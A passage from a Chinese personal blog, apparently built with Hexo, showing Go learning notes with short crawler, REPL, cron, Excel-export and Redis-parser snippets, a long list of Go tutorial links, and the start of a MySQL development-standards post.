class="line">https:<span class="comment">//learnku.com/golang/wikis/26652</span></span><br></pre></td></tr></table></figure>
<h3 id="Go-爬虫框架"><a href="#Go-爬虫框架" class="headerlink" title="Go 爬虫框架"></a>Go 爬虫框架</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">https:<span class="comment">//github.com/zhshch2002/goribot  </span></span><br><span class="line">package main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line">    <span class="string">"encoding/json"</span></span><br><span class="line">    <span class="string">"fmt"</span></span><br><span class="line">    <span class="string">"github.com/zhshch2002/goribot"</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line">func main() &#123;</span><br><span class="line">    s := goribot.NewSpider()</span><br><span class="line">    _ = s.Get(nil, <span class="string">"https://httpbin.org/get?Goribot%20test=hello%20world"</span>, func(r *goribot.Response) &#123;</span><br><span class="line">        m := make(map[string]interface&#123;&#125;)</span><br><span class="line">        err := json.Unmarshal([]byte(r.Text), &amp;m)</span><br><span class="line">        <span class="keyword">if</span> err != nil &#123;</span><br><span class="line">            fmt.Println(err)</span><br><span class="line">        &#125;</span><br><span class="line">        fmt.Println(m)</span><br><span class="line">    &#125;)</span><br><span class="line">    s.Run()</span><br><span class="line">&#125;</span><br><span class="line">https:<span class="comment">//learnku.com/golang/t/33980</span></span><br></pre></td></tr></table></figure>
<p>###go命令行<br><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">go get -u github.com/cosmos72/gomacro</span><br><span class="line">λ gomacro.exe</span><br><span class="line"><span class="comment">// GOMACRO, an interactive Go interpreter with generics and macros</span></span><br><span class="line"><span class="comment">// Copyright (C) 2018-2019 Massimiliano Ghilardi &lt;https://github.com/cosmos72/gomacro&gt;</span></span><br><span class="line"><span class="comment">// License MPL v2.0+: Mozilla Public License version 2.0 or later &lt;http://mozilla.org/MPL/2.0/&gt;</span></span><br><span class="line"><span class="comment">// This is free software with ABSOLUTELY NO WARRANTY.</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// Type :help for help</span></span><br><span class="line">gomacro&gt; a:=<span class="number">1</span></span><br><span class="line">gomacro&gt; a</span><br><span class="line"><span class="number">1</span>       <span class="comment">// int</span></span><br><span class="line">go get -u github.com/motemen/gore/cmd/gore</span><br><span class="line">❯ gore</span><br><span class="line">gore version <span class="number">0.4</span><span class="number">.1</span>  :help <span class="keyword">for</span> help</span><br><span class="line">gore&gt; a := <span class="number">1</span></span><br><span class="line"><span class="number">1</span></span><br><span class="line">gore&gt; a + <span class="number">2</span></span><br><span class="line"><span class="number">3</span></span><br><span class="line">gore&gt; func Add(a, b int) int &#123; <span class="keyword">return</span> a + b &#125;</span><br><span class="line">gore&gt; Add(<span class="number">1</span>, <span class="number">2</span>)</span><br><span class="line"><span class="number">3</span></span><br></pre></td></tr></table></figure></p>
<h3 id="go-cron-秒"><a href="#go-cron-秒" class="headerlink" title="go cron 秒"></a>go cron 秒</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">package main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line">    <span class="string">"fmt"</span></span><br><span class="line">    <span class="string">"time"</span></span><br><span class="line"></span><br><span class="line">    <span class="string">"github.com/robfig/cron"</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line">func main() &#123;</span><br><span class="line">    c := cron.New()</span><br><span class="line"></span><br><span class="line">    c.AddFunc(<span class="string">"*/1 * * * * *"</span>, func() &#123;</span><br><span class="line">        fmt.Println(<span class="string">"every 1 seconds executing"</span>)</span><br><span class="line">    &#125;)</span><br><span class="line"></span><br><span class="line">    go c.Start()</span><br><span class="line">    defer c.Stop()</span><br><span class="line"></span><br><span class="line">    select &#123;</span><br><span class="line">    <span class="keyword">case</span> &lt;-time.After(time.Second * 10):</span><br><span class="line">        return</span><br><span class="line">    &#125;</span><br><span class="line">&#125;https://learnku.com/articles/34456</span><br><span class="line">Github：github.com/robfig/cron</span><br></pre></td></tr></table></figure>
<h3 id="Go-使用反射导出-Excel"><a href="#Go-使用反射导出-Excel" class="headerlink" title="Go 使用反射导出 Excel"></a>Go 使用反射导出 Excel</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br></pre></td><td class="code"><pre><span class="line">type Record struct &#123;</span><br><span class="line">    Name string <span class="string">`xlsx:"A-姓名"`</span></span><br><span class="line">    Age  int32  <span class="string">`xlsx:"B-年齡"`</span></span><br><span class="line">&#125;</span><br><span class="line">func RefactorWrite(records []*Record) &#123;</span><br><span class="line">    xlsx := excelize.NewFile()</span><br><span class="line">    index := xlsx.NewSheet(<span class="string">"Sheet1"</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> i, <span class="attr">t</span> := range records &#123;</span><br><span class="line">        d := reflect.TypeOf(t).Elem()</span><br><span class="line">        <span class="keyword">for</span> j := <span class="number">0</span>; j &lt; d.NumField(); j++ &#123;</span><br><span class="line">            <span class="comment">// 设置表头</span></span><br><span class="line">            <span class="keyword">if</span> i == <span class="number">0</span> &#123;</span><br><span class="line">                column := strings.Split(d.Field(j).Tag.Get(<span class="string">"xlsx"</span>), <span class="string">"-"</span>)[<span class="number">0</span>]</span><br><span class="line">                name := strings.Split(d.Field(j).Tag.Get(<span class="string">"xlsx"</span>), <span class="string">"-"</span>)[<span class="number">1</span>]</span><br><span class="line">                xlsx.SetCellValue(<span class="string">"Sheet1"</span>, fmt.Sprintf(<span class="string">"%s%d"</span>, column, i+<span class="number">1</span>), name)</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="comment">// 设置内容</span></span><br><span class="line">            column := strings.Split(d.Field(j).Tag.Get(<span class="string">"xlsx"</span>), <span class="string">"-"</span>)[<span class="number">0</span>]</span><br><span class="line">            <span class="keyword">switch</span> d.Field(j).Type.String() &#123;</span><br><span class="line">            <span class="keyword">case</span> <span class="string">"string"</span>:</span><br><span class="line">                xlsx.SetCellValue(<span class="string">"Sheet1"</span>, fmt.Sprintf(<span class="string">"%s%d"</span>, column, i+<span class="number">2</span>), reflect.ValueOf(t).Elem().Field(j).String())</span><br><span class="line">            <span class="keyword">case</span> <span class="string">"int32"</span>:</span><br><span class="line">                xlsx.SetCellValue(<span class="string">"Sheet1"</span>, fmt.Sprintf(<span class="string">"%s%d"</span>, column, i+<span class="number">2</span>), reflect.ValueOf(t).Elem().Field(j).Int())</span><br><span class="line">            <span class="keyword">case</span> <span class="string">"int64"</span>:</span><br><span class="line">                xlsx.SetCellValue(<span class="string">"Sheet1"</span>, fmt.Sprintf(<span class="string">"%s%d"</span>, column, i+<span class="number">2</span>), reflect.ValueOf(t).Elem().Field(j).Int())</span><br><span class="line">            <span class="keyword">case</span> <span class="string">"bool"</span>:</span><br><span class="line">                xlsx.SetCellValue(<span class="string">"Sheet1"</span>, fmt.Sprintf(<span class="string">"%s%d"</span>, column, i+<span class="number">2</span>), reflect.ValueOf(t).Elem().Field(j).Bool())</span><br><span class="line">            <span class="keyword">case</span> <span class="string">"float32"</span>:</span><br><span class="line">                xlsx.SetCellValue(<span class="string">"Sheet1"</span>, fmt.Sprintf(<span class="string">"%s%d"</span>, column, i+<span class="number">2</span>), reflect.ValueOf(t).Elem().Field(j).Float())</span><br><span class="line">            <span class="keyword">case</span> <span class="string">"float64"</span>:</span><br><span class="line">                xlsx.SetCellValue(<span class="string">"Sheet1"</span>, fmt.Sprintf(<span class="string">"%s%d"</span>, column, i+<span class="number">2</span>), reflect.ValueOf(t).Elem().Field(j).Float())</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    xlsx.SetActiveSheet(index)</span><br><span class="line">    <span class="comment">// 保存到xlsx中</span></span><br><span class="line">    err := xlsx.SaveAs(<span class="string">"test_write.xlsx"</span>)</span><br><span class="line">    <span class="keyword">if</span> err != nil &#123;</span><br><span class="line">        fmt.Println(err)</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">func main() &#123;</span><br><span class="line">    <span class="keyword">var</span> records []*Record\</span><br><span class="line">    records = append(records, &amp;Record&#123;\</span><br><span class="line">       Name: <span class="string">"小明"</span>,\</span><br><span class="line">      Age:  <span class="number">11</span>,\</span><br><span class="line">    &#125;)\</span><br><span class="line">    records = append(records, &amp;Record&#123;\</span><br><span class="line">       Name: <span class="string">"小华"</span>,\</span><br><span class="line">      Age:  <span class="number">12</span>,\</span><br><span class="line">    &#125;)\</span><br><span class="line">    <span class="comment">// 反射写\</span></span><br><span class="line">    RefactorWrite(records)</span><br><span class="line">&#125;</span><br><span class="line">https:<span class="comment">//learnku.com/articles/34635</span></span><br></pre></td></tr></table></figure>
<h3 id="Redis-解析工具"><a href="#Redis-解析工具" class="headerlink" title="Redis 解析工具"></a>Redis 解析工具</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">https:<span class="comment">//github.com/8090Lambert/go-redis-parser</span></span><br><span class="line">go get github.com/<span class="number">8090</span>Lambert/go-redis-parser</span><br><span class="line">$ go-redis-parser -rdb &lt;dump.rdb&gt; -o &lt;gen-file folder&gt; -type &lt;gen-file type, json or csv, <span class="keyword">default</span> csv&gt;</span><br><span class="line"></span><br><span class="line">BigKeys 的输出示例：</span><br><span class="line"></span><br><span class="line"># Scanning the rdb file to find biggest keys</span><br><span class="line"></span><br><span class="line">-------- summary -------</span><br><span class="line"></span><br><span class="line">Sampled <span class="number">6</span> keys <span class="keyword">in</span> the keyspace!</span><br><span class="line">Total key length <span class="keyword">in</span> bytes is <span class="number">17</span></span><br><span class="line"></span><br><span class="line">Biggest string found <span class="string">'s'</span> has <span class="number">1</span> bytes</span><br><span class="line">Biggest   hash found <span class="string">'h'</span> has <span class="number">1</span> fields</span><br><span class="line">Biggest   list found <span class="string">'li'</span> has <span class="number">2</span> items</span><br><span class="line">Biggest sortedset found <span class="string">'zset'</span> has <span class="number">2</span> members</span><br><span class="line">Biggest    set found <span class="string">'set'</span> has <span class="number">2</span> members</span><br><span class="line">Biggest stream found <span class="string">'stream'</span> has <span class="number">3</span> entries</span><br><span class="line"></span><br><span class="line"><span class="number">1</span> string <span class="keyword">with</span> <span class="number">1</span> bytes</span><br><span class="line"><span class="number">1</span> hash <span class="keyword">with</span> <span class="number">1</span> fields</span><br><span class="line"><span class="number">1</span> list <span class="keyword">with</span> <span class="number">2</span> items</span><br><span class="line">https:<span class="comment">//learnku.com/articles/34655</span></span><br></pre></td></tr></table></figure>
<p><a href="https://learnku.com/articles/34641" target="_blank" rel="noopener">批量导出 CSDN 博客并转为 hexo 博客风格</a></p>
<p><a href="https://learnku.com/golang/t/34334" target="_blank" rel="noopener">警惕 Go 编程陷阱</a></p>
<p><a href="https://learnku.com/articles/34621" target="_blank" rel="noopener">golang IoC</a></p>
<p><a href="https://learnku.com/articles/34190#reply110842" target="_blank" rel="noopener">Golang 操作 Redis 的基本方法</a></p>
<p><a href="https://learnku.com/golang/t/33859" target="_blank" rel="noopener">Go Modules 不完全教程</a></p>
<p><a href="https://learnku.com/articles/34299" target="_blank" rel="noopener">Go 获取已插入 U 盘盘符</a></p>
<p><a href="https://learnku.com/golang/t/34095" target="_blank" rel="noopener">单元测试</a></p>
<p><a href="https://github.com/pibigstar/go-demo" target="_blank" rel="noopener">一些例子和小项目</a></p>
<p><a href="https://strconv.com/posts/web-crawler-exercise-1/" target="_blank" rel="noopener">用Golang写爬虫(一)</a></p>
<p><a href="https://github.com/levigross/grequests" target="_blank" rel="noopener"> go 版本的 requests </a></p>
<p><a href="https://strconv.com/posts/go-repl/?" target="_blank" rel="noopener">go命令行</a></p>
<p><a href="https://book.eddycjy.com/golang/talk/golang-relatively-path.html" target="_blank" rel="noopener">go系列教程</a></p>
<p><a href="https://learnku.com/articles/34112" target="_blank" rel="noopener">beego 代码自动生成器</a></p>
<p><a href="https://learnku.com/articles/34091" target="_blank" rel="noopener">Go Modules 使用</a></p>
<p><a href="https://learnku.com/articles/34013" target="_blank" rel="noopener">文件传输管理系统Bigfile </a></p>
<p><a href="https://github.com/1920853199/go-blog" target="_blank" rel="noopener">基于 beego 的，有情怀的博客</a></p>
<p><a href="https://learnku.com/articles/34051" target="_blank" rel="noopener">Go 基础教程–2-基础知识</a></p>
<p><a href="https://learnku.com/golang/t/33901" target="_blank" rel="noopener">Go 语言 RESTful JSON API 创建</a></p>
<p><a href="https://learnku.com/articles/33918" target="_blank" rel="noopener">Golang slice 从源码来理解</a></p>
<p><a href="https://learnku.com/articles/33876" target="_blank" rel="noopener">golang gin + gorm + seesion 完成 Laravel 的 make:auth</a></p>
<p><a href="https://learnku.com/articles/33873" target="_blank" rel="noopener">Golang 学习宝库</a></p>
<p><a href="https://github.com/pibigstar/go-demo" target="_blank" rel="noopener">学习go语言过程中写的一些例子和小项目</a></p>
<p><a href="https://learnku.com/articles/33708" target="_blank" rel="noopener">Go 实现常用设计模式（十）责任链模式</a></p>
<p><a href="https://juejin.im/post/5ce4dc17518825240245be5b" target="_blank" rel="noopener">Go 语言命令概览</a></p>
<p><a href="https://learnku.com/articles/33601" target="_blank" rel="noopener">密码学之对称加密</a></p>
<p><a href="https://www.guaosi.com/2019/03/14/golang-linkedlist/" target="_blank" rel="noopener">golang算法与数据结构</a></p>
<p><a href="https://github.com/xusenlin/ForestBlog" target="_blank" rel="noopener">用来展示 markdown 文档的博客</a></p>
<p><a href="https://learnku.com/articles/32582" target="_blank" rel="noopener">【GoLang 那点事】Go 指针</a></p>
<p><a href="http://www.golang365.com/#/blog/76" target="_blank" rel="noopener">go语言中的接口</a></p>
<p><a href="https://learnku.com/golang/t/32493" target="_blank" rel="noopener">Go 语言面向对象特性</a></p>
<p><a href="https://learnku.com/golang/t/34202" target="_blank" rel="noopener">如何写出优雅的 Golang 代码</a></p>
<p><a href="https://learnku.com/articles/34243" target="_blank" rel="noopener">内部 API 的安全</a></p>
<p><a href="https://gfw.go101.org/article/channel.html" target="_blank" rel="noopener"> Go 语言通道原理</a></p>
<p><a href="https://learnku.com/articles/32316" target="_blank" rel="noopener">Golang 写爬虫</a></p>
<p><a href="https://www.bilibili.com/video/av57667564/" target="_blank" rel="noopener">Golang 新手教程视频</a></p>
<p><a href="https://learnku.com/golang/t/31515" target="_blank" rel="noopener">golang 对接支付宝支付</a></p>
<p><a href="https://learnku.com/articles/31408" target="_blank" rel="noopener">Go 语言入门</a></p>
<p><a href="https://github.com/tianye/sensitive_words" target="_blank" rel="noopener">敏感词匹配</a></p>
<p><a href="https://learnku.com/golang/t/24598" target="_blank" rel="noopener">使用 go 的 gin 和 gorm 框架来构建 RESTful API 微服务</a></p>
<p><a href="https://learnku.com/articles/27591#faa0c7" target="_blank" rel="noopener">httprouter 源码分析</a></p>
<p><a href="https://www.guaosi.com/2019/03/22/golang-maze-breadth-first-search/" target="_blank" rel="noopener">golang算法与数据结构：走迷宫-广度优先算法</a></p>
<p><a href="https://learnku.com/articles/29791" target="_blank" rel="noopener">Swoole 协程与 Go 协程的区别</a></p>
<p><a href="https://learnku.com/articles/29375" target="_blank" rel="noopener">程序员工作以后该如何提升</a></p>
<p><a href="https://learnku.com/articles/29574" target="_blank" rel="noopener">Go 开发基础入门</a></p>
<p><a href="https://github.com/aceld/zinx" target="_blank" rel="noopener">完整视频代码及学习资料-Zinx 框架-Golang 轻量级 TCP 并发服务</a></p>
<p><a href="https://www.ganymedenil.com/2019/05/27/go-standard-library-by-parse-data-separated-by-commas.html" target="_blank" rel="noopener">go基础库之解析以逗号分隔的数据</a></p>
<p><a href="https://jiajunhuang.com/tutorial/golang/index.md" target="_blank" rel="noopener">Golang(Go语言)简明教程</a></p>
<p><a href="https://github.com/izghua/go-blog" target="_blank" rel="noopener">Golang+gin+vue+MySQL blog https:/www.iphpt.com</a></p>
<p><a href="https://www.njphper.com/posts/8b58ea6d.html" target="_blank" rel="noopener">Go Modules 详解</a></p>
<p><a href="https://github.com/xusenlin/ForestBlog" target="_blank" rel="noopener">markdown博客</a></p>
<p><a href="https://github.com/rylio/ytdl" target="_blank" rel="noopener">YouTube download library and CLI written in Go</a></p>
<p><a href="https://github.com/dchaofei/phone-identifies-gender" target="_blank" rel="noopener">根据手机号识性别</a></p>
<p><a href="https://github.com/developer-learning/learning-golang" target="_blank" rel="noopener">Go 学习之路</a></p>
<p><a href="https://www.njphper.com/posts/b2d15c51.html" target="_blank" rel="noopener">Golang 中的面向对象继承</a></p>
<p><a href="https://github.com/broqiang/mdblog" target="_blank" rel="noopener">Laravel 博客替换成了 Go 写的博客</a></p>
<p><a href="https://github.com/360EntSecGroup-Skylar/excelize" target="_blank" rel="noopener">Go 语言 Excel 类库 Excelize</a></p>
<p><a href="https://learnku.com/articles/26817" target="_blank" rel="noopener">Golang 中的面向对象</a></p>
<p><a href="https://learnku.com/articles/27591" target="_blank" rel="noopener">httprouter 源码分析</a></p>
<p><a href="https://learnku.com/articles/26056" target="_blank" rel="noopener">Go for PHP Developers</a></p>
<p><a href="https://github.com/JeffreyBool/array" target="_blank" rel="noopener"> golang 实现的泛型数组</a></p>
<p><a href="https://58hualong.cn/blog/post/liyong-go-laravel-broadcast-shixian-laravel-de-jishi-tongxun" target="_blank" rel="noopener"> go-Laravel-broadcast 实现 Laravel 的即时通讯</a></p>
<p><a href="https://learnku.com/articles/27808#topnav" target="_blank" rel="noopener">Golang 新手可能会踩的 50 个坑</a></p>
<p><a href="https://learnku.com/golang/wikis/27748" target="_blank" rel="noopener">使用 Go 语言的开源项目和公司</a></p>
<p><a href="https://learnku.com/articles/27561" target="_blank" rel="noopener">Go 如何实现 PHP 的密码加密解密</a></p>
<p><a href="https://github.com/dwg255/landlord" target="_blank" rel="noopener">golang 实现斗地主棋牌游戏</a></p>
<p><a href="https://learnku.com/articles/26715" target="_blank" rel="noopener">Go 编写 Web 应用</a></p>
<p><a href="https://github.com/Away0x/gin_weibo" target="_blank" rel="noopener">模仿 Laravel 的项目结构和风格</a></p>
<p><a href="https://broqiang.com/posts/http-client-base" target="_blank" rel="noopener">HTTP 客户端</a></p>
<p><a href="https://golang.google.cn/" target="_blank" rel="noopener">golang国内镜像</a></p>
<p><a href="https://www.alexedwards.net/blog/an-overview-of-go-tooling" target="_blank" rel="noopener">golang工具</a></p>
<p><a href="https://learnku.com/articles/27691" target="_blank" rel="noopener">Golang 使用 Map</a></p>
<p><a href="https://learnku.com/golang/t/27592" target="_blank" rel="noopener">奔跑的 Go</a></p>
<p><a href="https://learnku.com/articles/27561#topnav" target="_blank" rel="noopener">Go 如何实现 PHP 的密码加密解密</a></p>
<p><a href="https://www.zhanggaoyuan.com/article/8" target="_blank" rel="noopener">GOLANG 超大文件读取的两个方案</a></p>
<p><a href="https://learnku.com/articles/25470#topnav" target="_blank" rel="noopener">《 刻意学习 Golang - 标准库源码分析 》</a></p>
<p><a href="https://github.com/EpochCloud/quick" target="_blank" rel="noopener">专为微服务架构定制的高性能网关</a></p>
<p><a href="https://github.com/Kirk-Wang/Hello-Gopher/" target="_blank" rel="noopener">go扫盲</a></p>
<p><a href="http://www.yinwang.org/blog-cn/2014/04/18/golang" target="_blank" rel="noopener">对 Go 语言的综合评价</a></p>
<p><a href="https://learnku.com/golang/t/26104" target="_blank" rel="noopener">miniblink+golang 开发 Windows gui 应用</a></p>
<p><a href="https://huoding.com/2017/06/09/623" target="_blank" rel="noopener">通过实例入门Golang</a></p>
<p><a href="https://go-zh.org/doc/" target="_blank" rel="noopener">中文:文档首页</a></p>
<p><a href="https://learnku.com/articles/27401" target="_blank" rel="noopener">Go Modules 详解使用</a></p>
<p><a href="https://learnku.com/golang/t/28729#replies" target="_blank" rel="noopener">Golang 的轻量级 TCP 并发服务器框架</a></p>
<p><a href="https://github.com/SuperPony/Golang" target="_blank" rel="noopener">Golang 入门指南</a></p>
<p><a href="https://learnku.com/golang/t/24598" target="_blank" rel="noopener">用 go 的 gin 和 gorm 框架来构建 RESTful API 微服务</a></p>
<p><a href="https://hoxis.github.io/resource-heima-go.html" target="_blank" rel="noopener">go语言视频教程</a></p>
<p><a href="https://learnku.com/golang/t/24715#replies" target="_blank" rel="noopener">Golang 新手教程：入门速成指南</a></p>
<p><a href="https://github.com/SuperPony/Golang_Pkg" target="_blank" rel="noopener"> Go 官方包的学习</a></p>
<p><a href="https://github.com/360EntSecGroup-Skylar/excelize" target="_blank" rel="noopener">Go 语言 Excel 文档excelize</a></p>
<p><a href="https://github.com/youngxhui/GinHello" target="_blank" rel="noopener">Gin 学习示例代码</a></p>
<p><a href="https://goproxy.io/zh/" target="_blank" rel="noopener">golang代理</a></p>
<p><a href="https://github.com/jiujuan/go-collection" target="_blank" rel="noopener">go项目收集</a></p>
<p><a href="https://www.bookstack.cn/read/The-Golang-Standard-Library-by-Example/summary.md" target="_blank" rel="noopener">Go语言标准库</a></p>
<p><a href="https://github.com/dingdayu/phonedata" target="_blank" rel="noopener">手机归属地查询包</a></p>
<p><a href="https://learnku.com/articles/33318#reply106334" target="_blank" rel="noopener">go beego学习</a></p>
<p><a href="http://blog.rickiyang.cn/posts/42334b44.html" target="_blank" rel="noopener">Go基础语法学习(1)</a></p>

          
        
      
    </div>
    
    
    

    

    

    

    <footer class="post-footer">
      

      

      

      
      
        <div class="post-eof"></div>
      
    </footer>
  </div>
  
  
  
  </article>


    
      

  

  
  
  

  <article class="post post-type-normal" itemscope="" itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block">
    <link itemprop="mainEntityOfPage" href="http://yoursite.com/2019/03/07/mysql开发规范/">

    <span hidden itemprop="author" itemscope="" itemtype="http://schema.org/Person">
      <meta itemprop="name" content="苏生不惑">
      <meta itemprop="description" content="">
      <meta itemprop="image" content="/images/avatar.gif">
    </span>

    <span hidden itemprop="publisher" itemscope="" itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="苏生不惑的博客">
    </span>

    
      <header class="post-header">

        
        
          <h1 class="post-title" itemprop="name headline">
                
                <a class="post-title-link" href="/2019/03/07/mysql开发规范/" itemprop="url">mysql开发规范</a></h1>
        

        <div class="post-meta">
          <span class="post-time">
            
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              
                <span class="post-meta-item-text">发表于</span>
              
              <time title="创建于" itemprop="dateCreated datePublished" datetime="2019-03-07T20:20:46+08:00">
                2019-03-07
              </time>
            

            

            
          </span>

          

          
            
          

          
          

          

          
            <div class="post-wordcount">
              
                
                  <span class="post-meta-divider">|</span>
                
                <span class="post-meta-item-icon">
                  <i class="fa fa-file-word-o"></i>
                </span>
                
                  <span class="post-meta-item-text">字数统计&#58;</span>
                
                <span title="字数统计">
                  5.3k 字
                </span>
              

              
                <span class="post-meta-divider">|</span>
              

              
                <span class="post-meta-item-icon">
                  <i class="fa fa-clock-o"></i>
                </span>
                
                  <span class="post-meta-item-text">阅读时长 &asymp;</span>
                
                <span title="阅读时长">
                  19 分钟
                </span>
              
            </div>
          

          

        </div>
      </header>
    

    
    
    
    <div class="post-body" itemprop="articleBody">

      
      

      
        
          
            <p><a href="https://learnku.com/articles/25020#topnav" target="_blank" rel="noopener">本文来自learnku</a></p>
<h3 id="数据命名规范"><a href="#数据命名规范" class="headerlink" title="数据命名规范"></a>数据命名规范</h3><p>所有数据库对象名称必须使用小写字母并用下划线分割。<br> 所有数据库对象名称禁止使用 MySQL 保留关键字（如果表名中包含关键字查询时，需要将其用单引号括起来）。<br> 数据库对象的命名要能做到见名识意，并且最后不要超过32个字符。<br>临时库表必须以 tmp_ 为前缀并以日期为后缀，备份表必须以 bak_ 为前缀并以日期 ( 时间戳 ) 为后缀。<br> 所有存储相同数据的列名和列类型必须一致（一般作为关联列，如果查询时关联列类型不一致会自动进行数据类型隐式转换，会造成列上的索引失效，导致查询效率降低）。<br>数据库基本设计规范</p>
<h4 id="1、所有表必须使用-InnoDB-存储引擎"><a href="#1、所有表必须使用-InnoDB-存储引擎" class="headerlink" title="1、所有表必须使用 InnoDB 存储引擎"></a>1、所有表必须使用 InnoDB 存储引擎</h4><p>没有特殊要求（即 InnoDB 无法满足的功能如：列存储，存储空间数据等）的情况下，所有表必须使用 InnoDB 存储引擎（MySQL 5.5 之前默认使用 Myisam，5.6 以后默认的为 InnoDB）InnoDB 支持事务，支持行级锁，更好的恢复性，高并发下性能更好。</p>
<h4 id="2、数据库和表的字符集统一使用-UTF8MB4"><a href="#2、数据库和表的字符集统一使用-UTF8MB4" class="headerlink" title="2、数据库和表的字符集统一使用 UTF8MB4"></a>2、数据库和表的字符集统一使用 UTF8MB4</h4><p>兼容性更好，统一字符集可以避免由于字符集转换产生的乱码，不同的字符集进行比较前需要进行转换会造成索引失效。</p>
<h4 id="3、所有表和字段都需要添加注释"><a href="#3、所有表和字段都需要添加注释" class="headerlink" title="3、所有表和字段都需要添加注释"></a>3、所有表和字段都需要添加注释</h4><p>使用 comment 从句添加表和列的备注 从一开始就进行数据字典的维护。</p>
<h4 id="4、尽量控制单表数据量的大小，建议控制在-500-万以内"><a href="#4、尽量控制单表数据量的大小，建议控制在-500-万以内" class="headerlink" title="4、尽量控制单表数据量的大小，建议控制在 500 万以内"></a>4、尽量控制单表数据量的大小，建议控制在 500 万以内</h4><p>500 万并不是 MySQL 数据库的限制，过大会造成修改表结构、备份、恢复都会有很大的问题，可以用历史数据归档（应用于日志数据），分库分表（应用于业务数据）等手段来控制数据量大小。</p>
<h4 id="5、谨慎使用-MySQL-分区表"><a href="#5、谨慎使用-MySQL-分区表" class="headerlink" title="5、谨慎使用 MySQL 分区表"></a>5、谨慎使用 MySQL 分区表</h4><p>分区表在物理上表现为多个文件，在逻辑上表现为一个表 谨慎选择分区键，跨分区查询效率可能更低 建议采用物理分表的方式管理大数据。</p>
<h4 id="6、尽量做到冷热数据分离，减小表的宽度"><a href="#6、尽量做到冷热数据分离，减小表的宽度" class="headerlink" title="6、尽量做到冷热数据分离，减小表的宽度"></a>6、尽量做到冷热数据分离，减小表的宽度</h4><p>MySQL 限制每个表最多存储 4096 列，并且每一行数据的大小不能超过 65535 字节 减少磁盘 IO，保证热数据的内存缓存命中率（表越宽，把表装载进内存缓冲池时所占用的内存也就越大,也会消耗更多的 IO） 更有效的利用缓存，避免读入无用的冷数据 经常一起使用的列放到一个表中（避免更多的关联操作）</p>
